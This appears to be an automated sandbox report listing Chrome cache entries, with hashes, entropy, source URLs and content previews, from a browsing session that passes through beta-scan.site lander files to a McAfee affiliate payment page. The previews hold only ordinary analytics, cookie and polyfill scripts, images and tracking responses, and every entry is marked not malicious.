Preview:	<svg width="148" height="28" viewBox="0 0 148 28" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M71.9547 18.1867L68.18 15.9761L67.9104 16.4115C67.0679 17.7513 65.8883 18.4211 64.4391 18.4211C61.9451 18.4211 60.0915 16.5455 60.0915 14.1005C60.0915 11.6221 61.9788 9.77997 64.4391 9.77997C65.922 9.77997 67.0005 10.4163 67.9104 11.7895L68.18 12.2249L71.9547 10.0144L71.6177 9.54552C69.7978 6.93308 67.4723 5.69385 64.4054 5.69385C58.6423 5.69385 55.5416 10.0479 55.5416 14.134C55.5416 18.2202 58.6423 22.5742 64.4054 22.5742C67.3375 22.5742 70.1011 21.1005 71.6177 18.6891L71.9547 18.1867Z" fill="#C01818"/>.<path d="M71.7525 22.5072H76.9427L78.493 18.689H86.2783L87.8286 22.5072H93.0525L83.7506 0.16748H79.0996L80.3466 3.14834L71.7525 22.5072ZM82.4362 8.97609L84.5257 14.2345H80.2792L82.4362 8.97609Z" fill="#C01818"/>.<path d="M95.2094 22.54H99.7593V12.4922H102.725V8.27206H99.7593V6.29598C99.7593 5.42517 100.332 4.52086 101.411 4.52086C101.984 4.52086 102.354 4.62134 102.691 4.75531L103

Chrome Cache Entry: 488

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2198
Entropy (8bit):	4.8020223047349315
Encrypted:	false
SSDEEP:	48:2AmruIzfy6VcRjOipQp1uK2HMJT3JzUiQOsYLX6:ZyuIzfy6qRjOimp152spZzUiQS+
MD5:	C9E9A54501FC6F6E8918B2C0F2A53981
SHA1:	3D530E6C830CCBA6284E79C7245BB45D6F4F2197
SHA-256:	491FDEE141835401D29318CA584AC3E91A38C92D8694F26D90883BFC324CA454
SHA-512:	D824D6DD64E863E6663A07987873AC59BDB3B6F8CB2D5BD43CEF1FAA5512163D824F3359B88D23DF113972B2FD74E630013D68575B35DCCFF11115336F7433AA
Malicious:	false
Reputation:	low
URL:	https://beta-scan.site/landers/gsb/GSB/files/script/smart.js
Preview:	!function(e){. var n;. if("function"==typeof define&&define.amd&&(define(e),n=!0),"object"==typeof exports&&(module.exports=e(),n=!0),!n){. var t=window.Cookies,o=window.Cookies=e();. o.noConflict=function(){. return window.Cookies=t,o}. }.}.(function(){. function f(){. for(var e=0,n={. };e<arguments.length;e++){. var t=arguments[e];. for(var o in t)n[o]=t[o]}. return n}. function a(e){. return e.replace(/(%[0-9A-Z]{2})+/g,decodeURIComponent)}. return function e(u){. function c(){. }. function t(e,n,t){. if("undefined"!=typeof document){. "number"==typeof(t=f({. path:"/"}. ,c.defaults,t)).expires&&(t.expires=new Date(1new Date+864e5t.expires)),t.expires=t.expires?t.expires.toUTCString():"";. try{. var o=JSON.stringify(n);. /^[\{\[]/.test(o)&&(n=o)}. catch(e){. }. n=u.write?u.write(n,e):encodeURIComponent(String(n)).replace(/%(23\|24\|26\|2B\|3A\|3C\|3E\|3D\|2F\|3F\|40

Chrome Cache Entry: 489

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 135428
Category:	downloaded
Size (bytes):	12677
Entropy (8bit):	7.9813769984525855
Encrypted:	false
SSDEEP:	192:WYxM7GzkvZNW+T93JohWU3VBMuQBMXRvaE59IWZpl/Z9zgP4JvoyhcgzFGD:rfYHXohNWBUdCcB9zgy/c
MD5:	AE4CA43412F0E072326AC71A34A38CE6
SHA1:	725D22D24644E0E098CAA185B11121209704EDED
SHA-256:	DC7F8C7572A2DB49A5C5EDC962336E004DD332FF49393DCA214DCDCB55900E7C
SHA-512:	08589BC22A06FC6C6B92B3B9A82D27D36E0237B64467D399FF921845A38495C1F8FDAF6C7607626DEAA46487506196A5A5AF8A3040A7B266D6899CF0DE3FC1DE
Malicious:	false
Reputation:	low
URL:	https://edge.fullstory.com/s/settings/CJB9Y/v1/web
Preview:	...........kS.>.(...)<..g.~...F.:.9.B/......,.@.\Y...<...d'q.'..6........Z.........B}.T^^.........].e......R.D..Q.W.DBE....................AB.3..6......E..h./+.t.S..}...T.t...Z.a..Y@L....vf..C..0 .B.L..br...........o.?_\..j.....%....@..N.5......8d.D).{A..+o...W..@7A.%....N.Px.rS.3g.\..qZL.t...W..#H..)..P]..O^.0.n..;......../C..Z..".p.eU.$...J.bL.Ue~S..M].P.$<..E...U.!.j[/.$..%..z......;..:....?B]Op._....U..3...T.1Td....'...5.ceT..)cB.>]...N...c,I.\|....<.(r..Fk.?.....T..CoE.2.N.ue...W...U.d..#..2.dQ.,L...&..d!.v.Ul....^.f-US.....T90?W.z..W.+-..ad9e.n%1.I..Xn&[....t.......r0X.".......T..a..>.........T..m. ..2rg_......\...R...M.S.o......C/1T.(.(._]U...h.^dE.q..w.R.Z./$...`=P.'.=<..x..w.....5Z.h......4..c......PD..pu,...\|.i..."^.T..y.u.#...w.hv..j......j..s`.&0H0.d...U....Zf.\..:.._l...D...0..H.\.R<..)I...Y4F....8.>.RrY.9Vk..Z.[#.U.}yr....A]...,.x....k...}..k......Y...5.^Z..5M.VJ.dc2Q97.....F.U.....\...^_....q_\|.FZ.tlO..l.A....u:Y

Chrome Cache Entry: 490

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 18, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	6.3759493987317875
Encrypted:	false
SSDEEP:	24:Z2Cd8J/HD0QkfSbOKMZAg17h9Zsq7KNY5IizfQpXarBk524TyTaUDFz:Z2HBDdt+rWqD5ah7TYz
MD5:	0BAD9ABF6A3CCAF69DF9CC8EB9A19DD1
SHA1:	7121C79995F5DE25CD8B1C01EA5649AB29952A39
SHA-256:	7D8D2C6A2C06B04099226E519893109B5604CAA1215E4A41111B3FC49921B3DD
SHA-512:	A72113D35233DE8A528F059C33DBF4D291BDCAC860C837B97409A34017E71AEE0B7909E5A7E77E7A2019D7FD09A27F72AAD34D78BA12E8937642D999EACC809C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............a.~e....PLTENQINPMONUOMYONWOL]NNYNOUOOOOPMLRKNPONNWLOWNPQJROJQSIPYIP[JPUIQUIQWDSYAS_GPaJO[JPWNN[GQY>V[JQQ>VYLPQGRSGSOLQONOSOOQIRSIROJRMNQKOPIAUWOPKQOKLPUBTYRNKQNQQNOTNKRNOLPSLQMJPYONSRNMKMZLOYKNTOM[KOR......OMYNN[LN]LN]NN[OMYOMYOL]OM[OMYIP[JO[LN[JPYLN_JO[LN[NM]JPYFRWDSWBS[BS]GPaGP_IP[JPWLN]LN]LOYDSYIP[GQ[AT]IOaGP_FQ]GQYJO[NN[IP]IO_FQ]GP]GQ[GQ[JO]IP[JPYJNaJNcJO]IP[IP]JO]OMYGQYIP]IPY<W[NM]LMaIP[JO[JQSJN_JPYFRY<WYNNYNM_NM]IP]JO]LPQJO[JN_LN[IP[JN_JN_LN]JO[IO_NM_LN[JPYJN_JO]LN]GP_LMaIO_AT[LN[LOYNOUJO[IO_LMaAS_NNYLN[LOWJO[GQ[OMYLOYLN[KM\LOYOMYNNYJPYKMZLOYIPYIP[JO[OM[JPWJO[JO[KNVJPWIPYIP]LOYNNYJPYIP[JO[LOWIPYJO]JO[JPYGQ[IP]JO]IO_JO]NNYJO[LN_NN[IOcNM]IO_GP_FR[IP]GQ[FRYNLeIOaJO]IP[KM\JPY.C_,....tRNS.................................................................E.....D&......%>.F..F..=&..k.ML.m..$.kU..Tm.E.&....%.C.FvefuH.....3.G........1....%..L.....W...F..HD.\\.Bl..p.%..m\o..$=.G...=%...$C..B6..^....orNT..w....aIDAT.W.V.........ABCDEFGH.........IJ..KLMN..

Chrome Cache Entry: 491

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	10199
Entropy (8bit):	5.03269648877876
Encrypted:	false
SSDEEP:	192:hMAC/QcoYzYs7B1urq+fQAnhd6JKh2sipvrvyuwgDPGbPnNiOx8pnPuw:hGB1urFfQMcKhUpzKuwgjGbPNio6uw
MD5:	C2676D286EC842CDFC3422388ECEDF8E
SHA1:	252282378A5D4F201E87E2DCCF2A424FAA155B45
SHA-256:	724FCA620906D04B52DD4B6F462F21DFBB6FD22FADC49E29AA14E3FA27ABC725
SHA-512:	152419976800E2DAFB7F2927B1C84947D8342728D608294E4C161055202D4E3552863EC2CC9FA1E1ED9F7DB35C3A4F9C4525E149020CF38E668EC7FD96327827
Malicious:	false
Reputation:	low
URL:	https://rs.fullstory.com/rec/integrations?OrgId=CJB9Y&isInFrame=false&isNative=false
Preview:	(function(FS) {. var session = FS.getCurrentSession(), sessionUrl = FS.getCurrentSessionURL();. function retryWithBackoff(condition, callback, maxWait, failureMsg, timeoutCallback) {. var totalTimeExpired = 0;. var wait = 64;. var resultFn = function() {. if (condition()) {. callback();. return;. }. wait = Math.min(wait * 2, 1024);. if (totalTimeExpired > maxWait) {. FS.log('warn', failureMsg);. !!timeoutCallback && timeoutCallback(failureMsg);. return;. }. totalTimeExpired += wait. setTimeout(resultFn, wait);. };. return resultFn;. }. function loadSession(key) {..var lastSession = window['localStorage'].getItem(key);. if (!lastSession) {. lastSession = FS._cookies()[key];. }. return lastSession. }. function saveSession(key, session) {. window['localStorage'].setItem(key, session);. }...window['_dlo_appender'] = 'fullstory';..window['_dlo_telemetryExporter'] = (function(FS) {...

Chrome Cache Entry: 492

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2198
Entropy (8bit):	4.8020223047349315
Encrypted:	false
SSDEEP:	48:2AmruIzfy6VcRjOipQp1uK2HMJT3JzUiQOsYLX6:ZyuIzfy6qRjOimp152spZzUiQS+
MD5:	C9E9A54501FC6F6E8918B2C0F2A53981
SHA1:	3D530E6C830CCBA6284E79C7245BB45D6F4F2197
SHA-256:	491FDEE141835401D29318CA584AC3E91A38C92D8694F26D90883BFC324CA454
SHA-512:	D824D6DD64E863E6663A07987873AC59BDB3B6F8CB2D5BD43CEF1FAA5512163D824F3359B88D23DF113972B2FD74E630013D68575B35DCCFF11115336F7433AA
Malicious:	false
Reputation:	low
Preview:	!function(e){. var n;. if("function"==typeof define&&define.amd&&(define(e),n=!0),"object"==typeof exports&&(module.exports=e(),n=!0),!n){. var t=window.Cookies,o=window.Cookies=e();. o.noConflict=function(){. return window.Cookies=t,o}. }.}.(function(){. function f(){. for(var e=0,n={. };e<arguments.length;e++){. var t=arguments[e];. for(var o in t)n[o]=t[o]}. return n}. function a(e){. return e.replace(/(%[0-9A-Z]{2})+/g,decodeURIComponent)}. return function e(u){. function c(){. }. function t(e,n,t){. if("undefined"!=typeof document){. "number"==typeof(t=f({. path:"/"}. ,c.defaults,t)).expires&&(t.expires=new Date(1new Date+864e5t.expires)),t.expires=t.expires?t.expires.toUTCString():"";. try{. var o=JSON.stringify(n);. /^[\{\[]/.test(o)&&(n=o)}. catch(e){. }. n=u.write?u.write(n,e):encodeURIComponent(String(n)).replace(/%(23\|24\|26\|2B\|3A\|3C\|3E\|3D\|2F\|3F\|40

Chrome Cache Entry: 493

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.687144312913345
Encrypted:	false
SSDEEP:	3:CU9yltxlEun:Vu
MD5:	00657DD79637A8DAF5E6196CA17F1887
SHA1:	3E064855D1FE7C6EAC52981A646EC5840BA7EFB5
SHA-256:	F0C71E3DA5B3FCAB3C66AF1CF0CDBF262C97B9330B7B37116F1AE2AB18BDC660
SHA-512:	27524EAAD778B2C220D655BAE2AC4A6C4CF54112FAF9133E34A4C25C3CD2A8A04CB7CEC35A09F80D4F51DFC73B1F94C63BBC92171220FE83F6F0BDB204645485
Malicious:	false
Reputation:	low
URL:	https://collector-30568.us.tvsquared.com/tv2track.php?action_name=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&idsite=TV-6390453618-1&rec=1&r=111348&h=11&m=19&s=55&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&urlref=https%3A%2F%2Fbeta-scan.site%2F&_id=3ecc6dbd12117410&_idts=1727968795&_idvc=0&_idn=1&_viewts=&cvar=%7B%225%22%3A%5B%22PAGEVIEW%22%2C%22%7B%5C%22rev%5C%22%3A%5C%22%5C%22%2C%5C%22prod%5C%22%3A%5B%5C%22663%5C%22%5D%2C%5C%22id%5C%22%3A%5C%22payment%5C%22%2C%5C%22promo%5C%22%3A%5C%221494%5C%22%7D%22%5D%7D&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&_cvar=%7B%225%22%3A%5B%22session%22%2C%22%7B%5C%22user%5C%22%3A%5C%226%5C%22%7D%22%5D%7D&gt_ms=1074
Preview:	GIF89a.............!.......,...........(.;

Chrome Cache Entry: 494

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	6225
Entropy (8bit):	5.976934819783072
Encrypted:	false
SSDEEP:	96:+R2K3Z4n7tyVwip82hezk6227gLFoXhu1XuE20ot+pVY3YptWDzOzgXK3Zx:ql3KnxyGGMzb7noR20NTww33
MD5:	2BD5C073A88B83ED74DB88282A56DDFB
SHA1:	D0EBFC376F8C6A44A8D4CD216817DCD7D0C33650
SHA-256:	AB5C23A05E39DEED14D9D8262B0DCE9F024F86105A27196CAD37D14A3F516E09
SHA-512:	5C6C4A92E93FC0F6A675658CC84F6187FDEBD3EEE94EFD07E24658736CBA598F3BC7156B19834B13FB44C1D43FCB7DF9FCCA7F0A453037E30DA76BA8F4B23B89
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" height="24" viewBox="0 0 24 24" width="24"><path d="M0 0h24v24H0z" fill="none"/><defs><path d="M21.5 5h-9.17L11 1H2.5C1.68 1 1 1.68 1 2.5v15c0 .83.68 1.5 1.5 1.5h9.17L13 23h8.5c.82 0 1.5-.68 1.5-1.5v-15c0-.83-.68-1.5-1.5-1.5z" id="a"/></defs><clipPath id="b"><use overflow="visible" xlink:href="#a"/></clipPath><g clip-path="url(#b)"><image height="31" opacity=".2" overflow="visible" transform="translate(3 1)" width="29" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAB0AAAAfCAYAAAAbW8YEAAAACXBIWXMAAAsSAAALEgHS3X78AAAA GXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAABQBJREFUeNq8V8tu20YUvXdm+LCk RKiMwI1TFEXhVZJd1gW66xekv9DPqPsvXdU/UaDroJskKy+CInCcGpKtFy2SM/f2DEXZia0odtKW AkFJ8zhzzn3S0Ycvps+79EMDbj3Yfgv4EM+XTN/fEOb3Zg3AXmq7j64D5/e/x/EfzZMnX5jx+LFZ LLyp6yNDOzskYb6RubFdpbdvKUl2Jc+d9PvP5dmzUyH6TVoYXQOq+H5g9vb+cONsO9maLpIyyZPU kZNAppmh9Vpg5kSXwCSVJ5/Vi/r8Tl73y2F9ePidJ3oaga+B4vkUgF+6EW1ndz11gvNdDdL1bDN

Chrome Cache Entry: 495

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 496

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1010
Entropy (8bit):	6.100277091524319
Encrypted:	false
SSDEEP:	24:81hzVWwjx82lY2T3FVXKhQm3uhQmHyJ3VwhQmOohQmgGSyM4f:iJwNn2xVKhz+hzSJ3OhzRhzg2H
MD5:	118F0C5583F13E7F2E42AC3C34D54A4A
SHA1:	ACA14F746B4889DF053494C8FA043F8A4B22A511
SHA-256:	746872277E95C813F0720FB138D445AF664D09B0E9968BB2DFC453A4F30F75DA
SHA-512:	F22764D161E389F378288A5EC387C6A1D8CCC4A282EFFEA879D60D8E98668940858FED54886624BF1D2DD961D1ABE2BF435034A16459DEE0B30D77F17A20619F
Malicious:	false
Reputation:	low
URL:	https://beta-scan.site/landers/gsb/GSB/files/images/icon_3.png
Preview:	.PNG........IHDR.............;0......tEXtSoftware.Adobe ImageReadyq.e<...#iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmpMM:InstanceID="xmp.iid:77692A13EA9211ED9812AD59CB3452BF" xmpMM:DocumentID="xmp.did:77692A14EA9211ED9812AD59CB3452BF"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:77692A11EA9211ED9812AD59CB3452BF" stRef:documentID="xmp.did:77692A12EA9211ED9812AD59CB3452BF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>"..D...eIDATx.b...?.@.&......Z<j....Z<j....ZL}...r@...t..../g.6.o..jt..S....*.....:...j.C..q.../2.T.. ...g.p..[}..

Chrome Cache Entry: 497

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 49 x 42, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1998
Entropy (8bit):	7.8637207058901355
Encrypted:	false
SSDEEP:	48:gr/X6Ctue0NOwoBPrAjyky3BvjtIRtaIsIu2F/CqrVbd:mqijgOzBPM6BvjtrIs9uCqFd
MD5:	EDAF2EDD508496380F84B5D3654C8472
SHA1:	1373B6CC66C8C4F802B821710829C15BD19E5456
SHA-256:	4CA87035899AF7DB45B4EA486B834E189729B551B510303306EB4A2C6B7C7897
SHA-512:	99B6AA983DFC9813DAF37A22C08B2B2951E42F550C49F253B92DCD0C1E7640E5C58FC55FF6749A4849DB7B49726EA6389DF66C2CE7AA423A30E8A01E1C18602C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...1...........D....orNT..w.....sRGB........{IDATh..Oo.......%9i...."%...q..MwV..........O ....'..m.].]tmfSd..@..) ....O#.nb......)R.l.\.. f.....s.<.=...<.{..VK.Vk/~K.U.._ .=`....I......@C.....#..9.=..,b.H.6.kH..".@....#ahF.R[.~.j....%.:R.."pY7n4v\|g~~!..a..........&Oz..W.=?o...ss.\..y..L.~o.~...a.=......d..._..../......7.\|5..{.._{r.....\..W6<7w.q.^.w..of..L.ssk..........1....z..~w.rk..%..I).Z.......@.....W....3o.`-CZ...3.n....#..lb9.&......Zm>4:ynn....\...7....S..a7..~..+...l..{.g.-..TR+.o}z....o.......h.s..%.r.........HOx~~......j....rg.l.Z..M...-..d.....(...;....x.d.p...?\y...];p...Ah1.S..:....\e.._......../.V..g..EC...8.LZ.......v'.:...E...;.==....4Ndx ..q....WeDc7y..../M.K..-.....~...X9xk.....V.}XX.Z~\|.......Jce...]c<.....2r....R8Qb;.LW....B..x@.0.)Sa..<":...>....6....Sa..$...\.8.~3.....A.]#..AO$<b.Gqb.:+.....P...QF..6:.0..\.U.sP....R3.....O<....rT.'.......n...G.O..:.4..\XC{?..)m.D..2V~...?...+.].....?Vi].B...e4...

Chrome Cache Entry: 498

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	895
Entropy (8bit):	4.334662201557196
Encrypted:	false
SSDEEP:	24:t4Wmw5A88q0TVRpIifpIpP/dJA+gT7ltpwQlVgqS5F:B5A+0TzpyTA+CJ4/
MD5:	650A2017CD8E569CB2602DF163E09EF6
SHA1:	18A36C8081F497718F5CABE0042B33553E8FCA5A
SHA-256:	0B0E98A07EC6615CC194E63755A5AA63F23061F9032F9C997ADFCAEB6A88AA40
SHA-512:	36957E019FB80C8622E1D5EB7DEC95AC598FD1938557BB6FCDE76F7EC58A4BC881B967C5919FDD6EA0E638862CE3ED777B86427A2E8FAFAC854051E99344C7CA
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="23" height="23" fill="#383434" viewBox="0 0 24 24"><path d="M12 0c6.623 0 12 5.377 12 12s-5.377 12-12 12S0 18.623 0 12 5.377 0 12 0m2.557 16H9.442c.546 2.46 1.441 4.114 2.558 5.744 1.194-1.741 2.041-3.41 2.557-5.744M7.4 16H2.833c1.236 2.825 3.704 4.972 6.755 5.716A17.556 17.556 0 0 1 7.4 16m13.767 0H16.6a17.617 17.617 0 0 1-2.175 5.694c3.012-.763 5.517-2.895 6.742-5.694M7.162 10H2.2a10.088 10.088 0 0 0 0 4h4.915a20.028 20.028 0 0 1 .047-4m7.661 0H9.176a18.016 18.016 0 0 0-.053 4h5.753a18.017 18.017 0 0 0-.053-4m6.977 0h-4.963c.148 1.328.166 2.671.048 4H21.8c.26-1.285.273-2.648 0-4M9.644 2.271C6.567 3.003 4.077 5.157 2.833 8h4.653a20.424 20.424 0 0 1 2.158-5.729m2.355-.048C10.91 3.993 10.089 5.676 9.536 8h4.927c-.534-2.246-1.337-3.948-2.464-5.777m2.368.069A20.45 20.45 0 0 1 16.513 8h4.654c-1.232-2.816-3.762-4.958-6.8-5.708"></path></svg>

Chrome Cache Entry: 499

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16904), with no line terminators
Category:	downloaded
Size (bytes):	16904
Entropy (8bit):	5.592941467866959
Encrypted:	false
SSDEEP:	384:y4bg5IhIQwfNHTWdhhInQDGf2nH1gWwuh/QyfDHhW0hRQifhHiWHhZQBEf/HVWLU:5D0l6dzIQDm2H1VwoIS7gOuCx/B2CfMw
MD5:	F360347C0B1112280C7760074E9D8EAD
SHA1:	A35C4530F0D72E8AC00715573358B83D2982C90F
SHA-256:	1CBCA93A4810B82DE6B56756259B7ED43BD7BB43B6C6B387B0A61A3786A8B530
SHA-512:	0CE84FC247A134EE4CBF40EBC0973D98CCB217FDE948107806C89A004C1A02575FE1EFD309205F70F792ED371AB8FFFB2DF6281A11F6522AEECFED434BAED634
Malicious:	false
Reputation:	low
URL:	https://td.doubleclick.net/td/rul/740246542?random=1727968793197&cv=11&fst=1727968793197&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&label=-JZGCILu-YkZEI6I_eAC&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&ec_m=%23error_emailSMALL%3Afalse%3A15%3Afalse1&ec_sel=%23error_email&ec_meta=SMALL%3Afalse%3A15%3Afalse&ec_lat=0&ec_s=1&fledge=1&capi=1&data=event%3Dconversion&ct_cookie_present=0
Preview:	<html><head><meta http-equiv="origin-trial" content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjk1MTY3OTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="></head><body><script>var ig_list={"interestGroups":[{"action":0,"expirationTimeInSeconds":15552000,"interestGroupAttributes":{"owner":"https://td.doubleclick.net","name":"4s875874067.1727968793","biddingLogicUrl":"https://td.doubleclick.net/td/bjs","dailyUpdateUrl":"https://td.doubleclick.net/td/update?ig_name=4s875874067.1727968793\u0026ig_key=1sNHM4NzU4NzQwNjcuMTcyNzk2ODc5Mw!2sZ-wEGg!3sAAptDV7hdABk","trustedBiddingSignalsUrl":"https://td.doubleclick.net/td/bts","trustedBiddingSignalsKeys":["1srfVFzQ!2sZ-wEGg!3sAAptDV7hdABk"],"userBiddingSignals":[["6905854371","8649021483","6841772896","7741013141","7740964555","8648099792","8380357595","8566718227","7741720626","811973618","6841783013","81

Chrome Cache Entry: 500

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8194)
Category:	dropped
Size (bytes):	149547
Entropy (8bit):	5.332798583344782
Encrypted:	false
SSDEEP:	3072:nW3HOGewuHvCY7aF534faz5j42jIxDUgp9l:W3HOGeFPnl
MD5:	3B02A2B8088B7DC1C7B7503B37CE7CCD
SHA1:	7471CE5062618C463B4F37D308A8B858F5BEB242
SHA-256:	7A60F9984FD33E8ACCDA76C58E4FBBC2E14822AE6591CFF60DE31436C77FE79D
SHA-512:	A0332519D7AE5D00D9C7B6899A86E9DDD3F9A8276A79AB05E655C09BB2AB6DFC6C8ED02F84C82D8933CA11CF7C846E6B2FA3A12C1F21F16F3180A83C90EE2451
Malicious:	false
Reputation:	low
Preview:	Array.prototype.filter\|\|(Array.prototype.filter=function(t,e){"use strict";if("Function"!=typeof t&&"function"!=typeof t\|\|!this)throw new TypeError;var r=this.length>>>0,o=new Array(r),n=this,l=0,i=-1;if(void 0===e)for(;++i!==r;)i in this&&t(n[i],i,n)&&(o[l++]=n[i]);else for(;++i!==r;)i in this&&t.call(e,n[i],i,n)&&(o[l++]=n[i]);return o.length=l,o}),Array.prototype.forEach\|\|(Array.prototype.forEach=function(t){var e,r;if(null==this)throw new TypeError('"this" is null or not defined');var o=Object(this),n=o.length>>>0;if("function"!=typeof t)throw new TypeError(t+" is not a function");for(arguments.length>1&&(e=arguments[1]),r=0;r<n;){var l;r in o&&(l=o[r],t.call(e,l,r,o)),r++}}),window.NodeList&&!NodeList.prototype.forEach&&(NodeList.prototype.forEach=Array.prototype.forEach),Array.prototype.indexOf\|\|(Array.prototype.indexOf=function(t,e){var r;if(null==this)throw new TypeError('"this" is null or not defined');var o=Object(this),n=o.length>>>0;if(0===n)return-1;var l=0\|e;if(l>=n)retur

Chrome Cache Entry: 501

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	4178
Entropy (8bit):	7.812033126830966
Encrypted:	false
SSDEEP:	96:rGg7wnSYEDkHoW5rLONgRbPWKDBUxFtvFMmw1A:rGSwnykLtkC0tvp
MD5:	65655A75AEC54D4CFAA4AA6B60B9EFBE
SHA1:	4C4DF8C868ABEC485CE2FE9BE35C9EE474E59EA2
SHA-256:	1C23179D41FECE4EB1EA9F4F746951FAB441E1CBD292A432CE2FA1350E69F190
SHA-512:	ECA3BEDC52B6C185D7AA167E78C4B794E106299CE2BFCB9AAD1BD1883CE349E57A2361F56A9165E1F3555ED6EDEC9C1051E0840B60EA0E6AD63C4678C9A245B9
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/payment-image/logo_paypal.png
